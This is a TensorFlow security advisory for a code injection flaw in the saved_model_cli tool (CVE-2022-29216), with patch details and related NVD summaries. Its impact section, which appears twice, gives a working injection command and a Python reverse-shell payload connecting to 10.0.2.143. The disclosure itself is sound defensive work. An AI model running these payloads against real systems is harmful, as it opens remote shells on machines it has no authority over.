Headline
GHSA-75c9-jrh4-79mc: Code injection in `saved_model_cli`
Impact
TensorFlow’s saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
Impact
TensorFlow’s saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True): # …
for input_raw in filter(bool, input_exprs_str.split(‘;’)): # … if safe: # … else: # ast.literal_eval does not work with numpy expressions input_dict[input_key] = eval(expr) # pylint: disable=eval-used return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
References
- GHSA-75c9-jrh4-79mc
- https://nvd.nist.gov/vuln/detail/CVE-2022-29216
- tensorflow/tensorflow@8b202f0
- tensorflow/tensorflow@c5da7af
- https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574
- https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4
- https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2
- https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1
- https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0
Related news
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, TensorFlow's `saved_model_cli` tool is vulnerable to a code injection. This can be used to open a reverse shell. This code path was maintained for compatibility reasons as the maintainers had several test cases where numpy expressions were used as arguments. However, given that the tool is always run manually, the impact of this is still not severe. The maintainers have now removed the `safe=False` argument, so all parsing is done without calling `eval`. The patch is available in versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4.
TensorFlow is an open source platform for machine learning. Prior to versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4, multiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid. In graph mode, it would have been impossible to perform these API calls, but migration to TF 2.x eager mode opened up this vulnerability. If the resource handle is empty, then a reference is bound to a null pointer inside TensorFlow codebase (various codepaths). This is undefined behavior. Versions 2.9.0, 2.8.1, 2.7.2, and 2.6.4 contain a patch for this issue.